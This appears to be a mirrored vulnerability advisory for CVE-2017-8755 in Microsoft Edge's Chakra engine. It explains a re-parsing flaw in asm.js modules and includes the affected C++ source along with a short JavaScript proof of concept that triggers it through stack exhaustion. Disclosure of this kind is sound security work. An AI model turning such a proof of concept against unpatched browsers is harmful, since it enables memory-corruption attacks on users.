Microsoft Edge Chakra JavascriptFunction::ReparseAsmJsModule Parsing Issue

2017.09.24
Credit: lokihardt
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Microsoft Edge: Chakra: JavascriptFunction::ReparseAsmJsModule incorrectly re-parses CVE-2017-8755 This is similar to the <a href="/p/project-zero/issues/detail?id=1271" title="Microsoft Edge: Chakra: InterpreterStackFrame::ProcessLinkFailedAsmJsModule incorrectly re-parses" class="closed_ref" rel="nofollow"> issue 1271 </a>. Here's the method used to re-parse asmjs modules. void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef) { ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo(); Assert(functionInfo); functionInfo->GetFunctionBody()->AddDeferParseAttribute(); functionInfo->GetFunctionBody()->ResetEntryPoint(); functionInfo->GetFunctionBody()->ResetInParams(); FunctionBody * funcBody = functionInfo->Parse(functionRef); #if ENABLE_PROFILE_INFO // This is the first call to the function, ensure dynamic profile info funcBody->EnsureDynamicProfileInfo(); #endif (*functionRef)->UpdateUndeferredBody(funcBody); } First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid). We can make it throw an exception simply by exhausting the stack. PoC: function Module() { 'use asm'; function f() { } return f; } function recur() { try { recur(); } catch (e) { Module(1); } } recur(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


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